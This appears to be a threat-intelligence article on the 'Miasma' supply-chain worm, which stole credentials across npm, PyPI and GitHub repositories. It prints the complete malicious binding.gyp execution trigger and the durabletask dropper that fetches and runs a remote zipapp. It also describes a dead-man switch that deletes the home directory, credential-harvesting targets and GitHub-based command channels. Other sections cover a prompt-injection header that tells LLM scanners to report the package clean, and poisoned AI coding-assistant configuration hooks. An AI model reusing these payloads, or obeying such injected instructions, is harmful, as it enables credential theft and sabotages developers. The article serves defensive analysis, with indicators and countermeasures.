Miasma Supply Chain Worm: Full Technical Breakdown of the Self-Replicating Credential Harvester
Between 19 May and 9 June 2026, a self-replicating supply-chain worm attributed to the threat actor tracked as TeamPCP (UNC6780) compromised 73 Microsoft GitHub repositories, at least 32 Red Hat npm packages, and 37 PyPI wheel artifacts, with security firm Socket tracking 448+ total affected artifacts across npm and PyPI by the end of the campaign. The worm, designated Miasma (a Mini Shai-Hulud variant), was subsequently open-sourced on GitHub under an MIT license, turning what had been a private actor capability into reusable public attack infrastructure.
This article is a technical deep-dive into Miasma's mechanics: the Phantom Gyp execution technique, the four-layer obfuscation stack, the AI coding agent persistence hooks targeting 15 tools, the credential harvesting scope, the GitHub-native command-and-control channels, the dead-man switch, and the defensive countermeasures every platform team needs to deploy today.
Overview
Miasma is a self-propagating, multi-ecosystem credential-stealing worm. It executes on a developer machine or CI runner, harvests every credential it can reach, and reuses those credentials to (1) publish poisoned package versions, (2) inject an obfuscated dropper into source repositories, and (3) stage stolen secrets in throw-away "dead-drop" repositories.
The worm exists in two operational strains:
Classic Shai-Hulud (worker). Creates throw-away repositories running an obfuscated script via a GitHub Actions workflow. Loud: persona author "THE ASSET," real timestamps, no identity forgery. The dropper sits at the repository root or inside a dot-directory, typically 685 KB or larger.
Miasma (injection). Commits an oversized .github/setup.js into an existing repository using a stolen maintainer token. Stealthy: the commit impersonates a real maintainer, is back-dated years into the repository's history, and includes [skip ci] to evade CI-based detection. The dropper is typically 4-5 MB.
Both strains close a unified infection loop: EXECUTE (auto-run on install or editor/CI trigger) → HARVEST (environment variables, credential files, cloud metadata endpoints, process memory) → PUBLISH / INJECT / STAGE.
The actor behind the campaign, TeamPCP, is formally tracked by Google's Threat Intelligence Group as UNC6780. Security vendors have assigned additional aliases including DeadCatx3, PCPcat, ShellForce, and CanisterWorm for overlapping clusters of this activity. TeamPCP's defining operational signature is indirect initial access: rather than attacking target organizations directly, it compromises widely trusted open-source security and developer tooling that those organizations already run in their build environments.
Full Timeline
19 May: durabletask PyPI Compromise
Three malicious versions of durabletask (v1.4.1, v1.4.2, v1.4.3) were published to PyPI within a 35-minute window (16:19-16:54 UTC) through a compromised maintainer account. DurableTask is Microsoft's official Python client for the Durable Task workflow execution framework.
On import, the package's top-level __init__.py called urllib.request.urlretrieve('https://check.git-service.com/rope.pyz', '/tmp/managed.pyz') and launched the fetched zipapp via subprocess.Popen(['python3', '/tmp/managed.pyz'], start_new_session=True) on Linux systems. The trigger was module import -- not pip install -- meaning install-phase sandboxes (pip download, pip wheel, build isolation) never observed the network activity. The dropper fired when the package was loaded in CI, production, or a developer's interpreter.
The payload (rope.pyz, SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce) was a full credential-theft framework interrogating cloud instance metadata (AWS/Azure/GCP), secret stores, Kubernetes service-account tokens, HashiCorp Vault tokens, and credentials from 85 known filesystem paths. It established persistence via a systemd unit (pgsql-monitor.service) and included a geo-targeted destructive wiper that activated on hosts located in Israel or Iran.
The compromise vector traces back to the same compromised user account involved in the earlier @antv wave. The attacker copied the latest commit message from main -- behavior matching the established pattern of leveraging compromised credentials to dump GitHub repository secrets.
1 June: Wave 1 -- Red Hat npm Compromise
On 1 June, the Miasma worm compromised 32 official npm packages under the @redhat-cloud-services namespace, delivering a credential-harvesting payload to an estimated 80,000 to 117,000 weekly downloads.
The initial access came from a Red Hat engineer's compromised GitHub account. Dark web monitoring firm Whiteintel detected the credential and session cookie in infostealer logs on 13 April, with a second sighting on 15 May -- a seven-week gap between compromise and weaponization that the Tenable Research Special Operations team has identified as a signature of the emerging "Developer Credential Economy."
The attacker pushed minimal GitHub Actions workflows into the RedHatInsights/javascript-clients project. Those workflows requested short-lived publishing tokens through the legitimate OIDC trusted-publishing flow, then published poisoned versions of 32 packages. Because the official pipeline performed the publication, the malicious versions arrived with valid SLSA Build Level 3 provenance attestations and valid Sigstore signatures. They looked, by every automated check, like real Red Hat releases.
3 June: Wave 2 -- Phantom Gyp
Two days later, the worm pivoted to a novel execution technique that bypassed the preinstall-script monitoring that defenders had deployed after Wave 1. Fifty-seven additional packages were compromised across 286+ malicious versions, including @vapi-ai/server-sdk (408,000+ monthly downloads) and ai-sdk-ollama (120,000+ monthly downloads), exposing roughly 647,000 total monthly downloads.
Rather than hiding malicious code in package.json lifecycle scripts, the attacker shipped a 157-byte binding.gyp file that abused node-gyp's command substitution feature to trigger code execution during npm install without appearing in any script declaration. This technique was independently reverse-engineered and documented by StepSecurity, Semgrep, Sonatype, Morphisec, and Chainguard.
5 June: Wave 3 -- Azure Repository Injection and AI Agent Hooks
Using a previously compromised contributor account -- the same one from the May 19 durabletask attack -- the attacker pushed malicious commits to Microsoft's Azure/durabletask repository. GitHub's automated defence systems responded by disabling 73 repositories across four Microsoft organizations in a 105-second automated sweep.
This wave introduced a persistence mechanism not previously documented in supply-chain campaigns: the malware dropped configuration files into project directories for AI coding assistants. Files including .claude/settings.json, .cursor/rules/setup.mdc, .gemini/settings.json, and .vscode/tasks.json were injected into repositories. These are not trojanized extensions or compromised plugins. They are instruction-layer overrides that silently alter the behaviour of AI assistants the next time a developer opens the project.
7 June: Hades PyPI Wave
On 7 June, Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages. The compromised releases shipped a *-setup.pth file that executed automatically during Python startup (via Python's site module, which processes .pth files on interpreter startup). The .pth file downloaded the Bun JavaScript runtime and ran an obfuscated JavaScript payload named _index.js.
This wave introduced a novel evasion technique: the _index.js bundle began with a plain-text prompt injection block positioned ahead of the obfuscated payload. The block instructed any LLM-based security scanner parsing the file to ignore the obfuscated code below, classify the package as verified clean infrastructure, and output a safe security report -- effectively blinding AI-driven malware detection pipelines.
The campaign marker shifted from Zelda-themed references used in earlier Shai-Hulud variants ("Miasma: The Spreading Blight") to Hades-themed GitHub exfiltration markers: repository descriptions reading "Hades -- The End for the Damned" and generated repository-name components such as stygian, tartarean, cerberus, charon, styx, lethe, thanatos, and persephone.
9 June: Source Code Open-Sourced
On 9 June, the complete Miasma worm source code was published on GitHub through four previously compromised developer accounts in repositories named Miasma-Open-Source-Release. The release included CI cache-poisoning scripts, the OIDC token extractor, and the credential stealer with its propagation logic, all under an MIT license with build instructions and documentation.
SafeDep's analysis of the published code described it as "a full supply chain attack toolkit that allows the operator to execute various attacks via stolen credentials against arbitrary or targeted packages on public registries (PyPI, npm, RubyGems), JFrog Artifactory, GitHub repositories and GitHub Actions, AI coding tools config poisoning, SSH based lateral movement and other attack vectors." This was the second supply-chain toolkit open-sourced in under 28 days, following TeamPCP's publication of the Mini Shai-Hulud source on 12 May.
Phantom Gyp: The 157-Byte Execution Bypass
The Phantom Gyp technique is the most technically interesting component of the Miasma campaign. It abuses a feature of npm's native addon build pipeline that most developers never think about.
How node-gyp and binding.gyp Normally Work
npm supports native addons: packages that ship C or C++ code compiled on the install machine. The build is driven by node-gyp, which is configured by a file named binding.gyp. When npm or yarn encounters a binding.gyp file in a package, it automatically runs node-gyp rebuild during install -- even when no preinstall or postinstall script is declared in package.json. The mere presence of the file is the trigger.
The binding.gyp format uses GYP (Generate Your Projects), a build configuration language inherited from Chromium. The format supports command substitution via the <!(command) syntax, which executes a shell command and captures its output for use as a configuration value. This is a documented, legitimate feature used for things like detecting platform-specific compiler flags.
The Weaponized File
The entire Phantom Gyp weapon is 157 bytes, identical (SHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90) across every package in Wave 2:
{
"targets": [
{
"target_name": "binding",
"sources": ["<! (node index.js > /dev/null 2>&1 && echo stub.c)"],
"type": "none"
}
]
}
The critical elements:
<! (...)-- GYP command substitution syntax. The shell command inside the parentheses is executed during the build phase.node index.js > /dev/null 2>&1-- Runs the maliciousindex.jspayload, suppressing all stdout and stderr so the install appears clean.&& echo stub.c-- If the payload exits successfully, emits the stringstub.c, which GYP captures as the value ofsources."type": "none"-- Tellsnode-gypnever to actually compile or link anything. The build "succeeds" without any binary output.
Nothing in package.json looks wrong. There is no preinstall, no postinstall, no obvious hook. The legitimate package code in dist/ is untouched -- a casual diff of the published tarball shows nothing suspicious. The only tells are a root index.js weighing more than 4 MB (where the genuine entry point in dist/ is around 27 KB), and a binding.gyp in a package that has no business compiling native code.
Execution Timeline
Based on instrumentation by StepSecurity and Semgrep, the install-time execution unfolds in under 15 seconds:
T+0.0s npm install begins
T+2.1s binding.gyp triggers node-gyp rebuild
T+3.6s GYP command substitution fires: node index.js
T+3.9s Bun v1.3.13 downloaded and extracted (<1s)
T+4.9s Payload runs: /tmp/b-<rand>/bun run /tmp/<rand>.js
T+8.3s GitHub credentials stolen
T+8.5s Process memory dump via /proc/<pid>/mem
T+12.1s npm search maintainer: <user> — propagation begins
T+14.0s npm publish — malicious version goes live
Four-Layer Obfuscation Stack
The Miasma payload uses a four-layer obfuscation pipeline designed to defeat static analysis, dynamic analysis, and signature-based detection:
| Layer | Technique | Purpose |
|---|---|---|
| 1 | ROT-N character encoding | Defeats string-based signature detection. All strings in the outer wrapper are rotated character-by-character by a variable offset. |
| 2 | AES-128-GCM encryption | The main payload body is AES-128-GCM encrypted with a per-build key. Each infected package uses a unique encryption key, preventing bulk decryption across artifacts. |
| 3 | Bun runtime download | The payload does not assume Node.js, Python, or any other local runtime will be available. It downloads and installs Bun from https://bun.sh/install (or a pinned mirror) at execution time, then uses it as the JavaScript execution engine. This behaviour has shown up even in npm compromises where Node.js would otherwise be the expected runtime. |
| 4 | obfuscator.io-style transformation | The unpacked JavaScript body is transformed through obfuscator.io-equivalent passes: control-flow flattening, string array mapping, numeric literal obfuscation, and dead-code injection. The resulting output is approximately 480,000 lines of functionally identical but structurally unrecognizable code. |
The combination means that no two infections share the same static signature at the binary level. Every analysis run must traverse the unpacking chain from scratch. The Bun dependency is the key fingerprint: Shai-Hulud-family payloads consistently download Bun as their execution engine, even in environments where a suitable runtime is already installed.
AI Coding Agent Persistence
The Miasma campaign introduced the first documented supply-chain compromise of AI coding assistant configuration files. This was not a vulnerability in the AI tools themselves. The attack exploits a design feature: AI coding tools load project-level configuration files to customize agent behaviour, and Miasma writes malicious versions of those files into compromised repositories.
The Four Targeted Configuration Surfaces
Claude Code (file://.claude/settings.json). The malware writes a SessionStart hook that fires every time a developer opens the project in Claude Code. The hook re-executes the Miasma payload, re-establishing persistence even if the original dropper was cleaned. The hook also injects instructions that bias the AI assistant toward generating code that benefits the attacker -- introducing cryptographic backdoors, exfiltrating API keys through seemingly legitimate function calls, or generating code that re-enables the worm.
Cursor (file://.cursor/rules/setup.mdc). The malware creates a Cursor rule file with the property alwaysApply: true. Cursor processes rules with this flag on every project interaction, making the malicious instructions permanently active in the agent's context window. The rule file includes prompt injection that modifies the AI's behaviour without the developer's awareness.
Gemini CLI (file://.gemini/settings.json). A startup hook in the Gemini CLI configuration fires when the developer opens the project in Gemini. The mechanism is structurally identical to the Claude Code approach, adapted to Gemini's configuration format.
VS Code (file://.vscode/tasks.json). A malicious task with the property runOn: folderOpen is written to the VS Code workspace configuration. When the developer opens the folder, VS Code runs the task automatically, executing attacker code in the IDE process context.
Why This Matters
The AI configuration attack surface has several properties that make it particularly dangerous:
No code signing or integrity verification. AI tool configuration files are plain JSON, YAML, or MDC files. They are not signed, checksummed, or verified against a tamper-proof baseline. Any process that can write to the filesystem can forge them.
Agent context injection. Unlike a traditional backdoor that drops a binary, the AI config files modify the behaviour of a tool the developer trusts and relies on. A developer who has used Claude Code or Cursor for months will not notice that their AI assistant has begun producing subtly corrupted output.
Survives credential rotation. Rotating npm tokens, GitHub PATs, and cloud credentials does not remove .claude/settings.json from a developer's local clone. The AI hooks persist across infrastructure remediation, providing a re-entry vector for the attacker to harvest new credentials after rotation.
Silent re-infection vector. When a developer opens a poisoned repository in their AI-enabled editor, the SessionStart hook or folderOpen task re-executes the Miasma payload on the developer's machine -- even if the developer is a different person than the original victim. The repository itself becomes an infection vector.
The published Miasma source code includes targeting for 15 AI coding tools and assistant configurations, making this attack surface likely to expand in derivative campaigns.
Credential Harvesting Scope
The Miasma payload is designed to sweep every credential it can reach on an infected machine. The target list, recovered from deobfuscated payloads and confirmed across multiple vendor analyses, includes:
Cloud and infrastructure:
- AWS: IAM credentials, STS identity, SSM Parameter Store, Secrets Manager
- GCP: service-account identities, projects, Secret Manager
- Azure: managed identity tokens, Key Vault material
- HashiCorp Vault tokens and Vault secret paths
- Kubernetes: in-cluster service-account tokens, kubeconfig files, cluster secrets
Package registry and CI/CD:
- npm tokens and
.npmrccredentials - PyPI tokens and
.pypirccredentials - RubyGems credentials
- JFrog Artifactory tokens
- GitHub PATs,
ghs_*tokens, GitHub ActionsACTIONS_RUNTIME_TOKENandACTIONS_ID_TOKEN_REQUEST_TOKEN(extracted from Runner.Worker process memory via/proc/<pid>/mem) - CircleCI tokens
Developer environment:
- SSH private keys (
.ssh/) - GPG keys
- Docker config credentials
- Shell histories (
.bash_history,.zsh_history) .envfiles across all projects- Git credentials and git config files
- Claude and MCP configuration files
- Browser credential stores and session data
- Password manager vaults (1Password, Bitwarden, pass/gopass) -- the payload includes brute-force modules for local vaults
- Cryptocurrency wallet files (MetaMask, Phantom, Solana)
AI and LLM providers:
ANTHROPIC_API_KEY- OpenAI API keys
- Other LLM provider credentials found in environment variables
Process memory extraction:
- GitHub Actions runner memory (the OIDC token extraction technique)
- Environment variable dumps from running processes
- Cloud instance metadata service interrogation (
169.254.169.254)
The open-sourced Miasma code confirmed that exfiltrated credentials are categorized, encrypted, and staged in structured JSON envelopes (cloud.json, contents.json, environment.json, truffleSecrets.json) before being committed to dead-drop repositories.
Command and Control via GitHub Commit Search
Miasma uses GitHub itself as its command-and-control channel -- no external C2 infrastructure is required. The worm leverages three independent GitHub commit-search channels, each with a different search string, purpose, and validation key:
| Search String | Purpose | Decryption |
|---|---|---|
DontRevokeOrItGoesBoom | Attacker-controlled PAT discovery for credential exfiltration | AES-256-CBC in commit message |
TheBeautifulSandsOfTime | JavaScript payload delivery for immediate command execution | eval() at runtime, validated at startup |
firedalazer | Python script URL delivery for persistent monitor | Separate validation key |
All three use GitHub's public commit search API (GET /search/commits), which is unauthenticated and has no access controls on publicly readable repositories. The search queries are hardcoded into the payload. Each channel uses a different validation or decryption key, so compromising one does not automatically compromise the other two.
The dead-drop repositories are created under attacker-controlled GitHub accounts using the createCommitOnBranch GraphQL mutation. Second-wave analysis showed account liuende501 creating 236 repositories via this API. Stolen data lands in these throwaway repositories under paths like results/results-*.json. Exfiltration artifacts are committed using the attacker's own tokens, not the victim's -- so the victim's own GitHub audit log does not show the exfiltration.
Repository descriptions serve as campaign markers. Earlier Shai-Hulud waves used descriptions including "Miasma: The Spreading Blight" and "Shai-Hulud: The Second Coming." The Hades PyPI wave shifted to "Hades -- The End for the Damned."
The worm also uses a beacon keyword (thebeautifulmarchoftime or TheBeautifulSandsOfTime depending on the variant) embedded in commit messages. The payload searches for this keyword on a polling cycle -- if it finds a new commit containing the keyword, it interprets the commit message as a command. This provides the operator with a persistent remote-control channel that requires no infrastructure beyond a GitHub account and the ability to push commits to a public repository.
Dead-Man Switch
The Miasma payload installs a dead-man switch that detonates if the attacker's token is revoked while the infected machine is still online. The implementation varies by platform:
On Linux, the worm installs a systemd user service (~/.local/bin/gh-token-monitor.sh) that polls api.github.com/user every 60 seconds. If the endpoint returns a 401 or 403 status -- indicating the token was revoked -- the script runs rm -rf ~/ on the user's home directory, destroying all data.
On macOS, an equivalent LaunchAgent is installed with the same polling loop and destructive behaviour.
The mechanism survives standard credential rotation: if a platform team rotates the GitHub token used in CI without isolating and rebuilding the infected machine, the dead-man switch triggers. The attacker's README in the open-sourced repository frames this as an anti-forensic measure: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully."
GitHub Actions Tag Hijacking
The campaign also exploited mutable GitHub Actions version tags to compromise downstream pipelines. TeamPCP's earlier March 2026 campaign had demonstrated this technique against Aqua Security's Trivy scanner (CVE-2026-33634, CVSS 9.4), and the Miasma variant reused the same approach.
Teams that reference GitHub Actions using floating version tags (e.g., @v2, @v1) rather than pinned commit SHAs are vulnerable. An attacker who compromises the upstream repository can force-push to those tags, replacing the referenced action with a malicious one. Every downstream pipeline that runs the action on subsequent executions -- including CI pipelines of major open-source projects -- silently receives the malicious code.
The Miasma variant extended this technique to npm package publication by exploiting OIDC-tagged workflow runs. The attacker used force-pushes to semver tags in compromised repositories, triggering release workflows that minted OIDC tokens, extracted them from runner memory via /proc/<pid>/mem, and used them to publish malicious packages with valid provenance.
npm OIDC and Sigstore Provenance Abuse
The Miasma campaign demonstrated that SLSA Build Level 3 provenance attestations and Sigstore signatures do not protect against supply-chain injection when the build environment itself is compromised from the inside.
When a GitHub Actions workflow declares id-token: write, GitHub's OIDC provider mints a short-lived token in the runner's process memory. The Miasma payload extracts this token by reading /proc/<pid>/mem from the Runner.Worker process -- the same technique used in the TanStack compromise and previously documented in the March 2025 tj-actions/changed-files compromise.
With the extracted OIDC token, the worm:
- Presents the token to GitHub's OIDC federation endpoint
- Receives a valid npm publish token scoped to the
@redhat-cloud-servicesor other trusted namespace - Publishes malicious packages using npm's
--provenanceflag - The published packages receive valid Sigstore signatures and SLSA Build Level 3 attestations -- cryptographically proving they came from the legitimate repository's CI pipeline
npm audit,npm provenance, and automated scanners report the packages as verified
The attestation that was supposed to prove "this came from a trusted pipeline" was minted by the same pipeline that had been subverted. The cryptographic chain was intact; the trust assumption was not.
Defensive Countermeasures
Immediate Package Management Changes
Disable lifecycle scripts by default. The single most effective defence against Phantom Gyp and similar install-time execution attacks:
npm config set ignore-scripts true --global
# Per-project:
npm install --ignore-scripts
# Verify no scripts run during audit:
npm audit --ignore-scripts
Audit binding.gyp files. Any package shipping a binding.gyp that has no business compiling native code should be treated as compromised:
# Find packages with binding.gyp
find node_modules -name 'binding.gyp' -exec sh -c 'echo "==> {}" && cat {}' \;
# Check the known malicious SHA
grep -r 'ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90' node_modules/
Adopt staged publishing (npm 11.15.0+). npm CLI version 11.15.0 introduced staged publishing with human 2FA approval gates. Enable it:
npm config set publish-staged true --global
This requires a deliberate human confirmation step before any package version goes live in the registry, preventing automated publication by compromised CI pipelines.
Pin dependency versions and audit lockfiles. Use exact version pinning and review lockfile changes in every PR. The Miasma packages in Wave 1 and 2 had specific malicious version ranges -- a pinning discipline blocked them before signatures were updated:
npm audit --json | jq '.vulnerabilities'
# Verify lockfile integrity
npm ls --depth=0 --all
AI Configuration Directory Auditing
Treat AI tool configuration files as privileged, enforceable paths:
# Scan for Miasma-style AI persistence hooks
find . -path '*/node_modules' -prune -o \( \
-name '.claude' -o \
-name '.cursor' -o \
-name '.gemini' -o \
-name '.vscode/tasks.json' \
\) -print
# Check for SessionStart hooks
find . -name 'settings.json' -path '*/.claude/*' -exec jq '.hooks? // .sessionStart?' {} \;
find . -name 'setup.mdc' -path '*/.cursor/*' -exec cat {} \;
Add AI tool config files to code review requirements. Any PR that creates or modifies .claude/, .cursor/, .gemini/, or .vscode/tasks.json should require explicit security review before merge.
CI/CD Pipeline Hardening
Pin Actions to commit SHAs. Replace mutable version tags with immutable commit hashes:
# Bad: mutable tag
- uses: aquasecurity/trivy-action@v0.69.5
# Good: pinned commit hash
- uses: aquasecurity/trivy-action@a6b5b4b4c9d9e8f7a6b5b4c9d9e8f7a6b5b4c9d
Scoped OIDC tokens. Restrict id-token: write to release workflows on protected branches only. Use GitHub Environments with manual approval gates for publish workflows:
environment: publish # Require manual approval
permissions:
id-token: write
contents: read
Monitor runner process trees. Alert on unexpected outbound network from inside a build, and on actions/upload-artifact shipping signed-but-anomalous binaries:
# In your workflow, add a step to verify process integrity
- name: Check for unexpected processes
run: |
ps auxeww | grep -E 'bun|/tmp/' && echo "WARNING: Unexpected process detected"
Monitor OIDC token usage. Set up alerts for npm publish events from unexpected workflows or branches. Cross-check published package checksums against CI logs via independent transparency ledgers (Sigstore Rekor).
Continuous Credential Monitoring
Implement continuous dark-web credential monitoring for developer accounts (GitHub, npm, PyPI, Docker Hub) with automated rotation on detection. The seven-week gap between infostealer capture and weaponization in the Red Hat compromise demonstrates that credential exposure in underground markets precedes attack by weeks to months -- detection during that window is a valid mitigation opportunity.
Enforce mandatory MFA with reduced PAT lifetimes. GitHub now supports granular PATs with configurable expiry (down to 7 days). Organizations should also revoke any PATs that have not been used in 30 days.
Repository and Commit Hygiene
Never trust commit dates. The single most useful fact for a hunter: commit author, email, and date are attacker-controlled. Anchor on the server-side push time (from GitHub Archive / Events API) and on what cannot be forged: GPG verification, file size, workflow contents.
Audit oversized files. Flag commits that introduce files >=200 KB in the repository root or dot-directories (excluding dist/, public/, libs/, node_modules/):
# Find recently added large files
git diff --name-only HEAD~1 | xargs -I{} sh -c 'wc -c "{}" 2>/dev/null'
Monitor for campaign markers. Watch for GitHub repositories with descriptions matching "Miasma: The Spreading Blight" or "Hades -- The End for the Damned" in your organization.
Indicators of Compromise
GitHub Dead-Drop Repository Markers
- Repository description: "Miasma: The Spreading Blight" (earlier waves)
- Repository description: "Hades -- The End for the Damned" (PyPI wave, 7 June)
- Repository description: "Shai-Hulud: The Second Coming" (classic worker)
- Dead-drop account:
liuende501(Wave 2, 236 repositories) - Beacon keywords in commit messages:
DontRevokeOrItGoesBoom,TheBeautifulSandsOfTime,firedalazer,thebeautifulmarchoftime
File IOCs
| Indicator | Description |
|---|---|
.github/setup.js (~5 MB) | Miasma dropper injected into existing repos |
Root index.js (>4 MB) | Phantom Gyp payload in npm packages |
Root index.js (~685 KB) | Classic worker dropper |
*.pth in site-packages (34 KB) | Python startup hook (PyPI wave) |
_index.js (obfuscated) | Bun-based payload with prompt injection header |
rope.pyz (SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce) | durabletask payload |
binding.gyp (SHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90) | Phantom Gyp execution trigger (157 bytes) |
.claude/settings.json | AI agent SessionStart persistence hook |
.cursor/rules/setup.mdc (alwaysApply: true) | Cursor AI prompt injection |
.vscode/tasks.json (runOn: folderOpen) | VS Code auto-execution task |
.gemini/settings.json | Gemini CLI startup hook |
~/.cache/.sys-update-check | Infection marker (general) |
~/.cache/.sys-update-check-k8s | Infection marker (Kubernetes) |
Network IOCs
| Type | Indicator |
|---|---|
| C2 (primary) | check.git-service.com (160.119.64.3) |
| C2 (secondary) | t.m-kosche.com (185.95.159.32) |
| Payload URL | https://check.git-service.com/rope.pyz |
| Legacy C2 IP | 83.142.209.194 |
| Exfiltration | api.github.com (GitHub-native C2 via commit search) |
Commit Forgery Patterns
Based on analysis of 1,311 injection commits by Deep Specter Research:
| Metric | Value |
|---|---|
| Unsigned commits | 93% |
| Author-spoofed commits | 58% |
| Back-dated commits | 75% |
| Median back-date | ~2.8 years |
| Maximum back-date | ~12.6 years |
[skip ci] in message | 54% |
| Future-dated commits | 0% |
Campaign Scope Summary
| Metric | Count | Source |
|---|---|---|
| Total affected artifacts | 448+ | Socket (2026-06-07) |
| npm artifacts | 411 across 106 packages | Socket |
| PyPI wheel artifacts | 37 across 19 packages | Socket |
| Microsoft repos disabled | 73 in 105 seconds | GitHub |
| Red Hat npm packages (Wave 1) | 32 | Wiz / StepSecurity |
| Phantom Gyp packages (Wave 2) | 57 across 286+ versions | StepSecurity / Semgrep |
| Weekly downloads exposed (Wave 1) | 80,000-117,000 | Tenable |
| Weekly downloads exposed (Wave 2) | ~647,000 | StepSecurity |
| Affected accounts after code search | ~164 (floor) | Deep Specter Research |
References
- Zscaler ThreatLabz: Shai-Hulud Campaign Evolution
- StepSecurity: Phantom Gyp Binding.gyp Analysis
- Socket: Shai-Hulud Descends to Hades
- Tenable: Developer Credential Economy
- Wiz: durabletask PyPI Compromise
- Deep Specter Research: Riding the Sandworm
- SANS ISC: TeamPCP Campaign Activity (2026-06-07)
- Semgrep: Miasma v2 Binding.gyp Analysis
- CSA Lab Space: TeamPCP/UNC6780 Profile
- Ossprey: Miasma Source Code Analysis
- SafeDep: Miasma Toolkit Analysis
- Palo Alto Unit 42: npm Threat Landscape
Related Articles
- AI Agents That Find Zero-Days: The FFmpeg Case Study -- "AI Agents That Find Zero-Days: The FFmpeg Case Study" -- The automated vulnerability discovery tools that Miasma's operators might use to find new targets are the same class of AI security agents that Depthfirst deployed against FFmpeg. Understanding autonomous AI vulnerability research is essential for assessing the threat landscape.
- Prompt Injection in LLM Applications -- The Comment and Control research (April 2026) demonstrated how AI coding agents in CI pipelines can be hijacked through prompt injection in PR titles and issue comments. Miasma extends this attack surface by embedding prompt injection blocks directly into package payloads and AI tool configuration files. Understanding the prompt injection mechanism is essential for defending against the AI-scanner evasion techniques Miasma introduced.
- NetworkPolicy Enforcement: eBPF vs iptables -- Supply-chain defence requires a layered network security model. eBPF-based Cilium with Hubble provides real-time flow visibility and policy enforcement that can detect anomalous outbound traffic from compromised build containers -- the kind of traffic Miasma generates during credential exfiltration.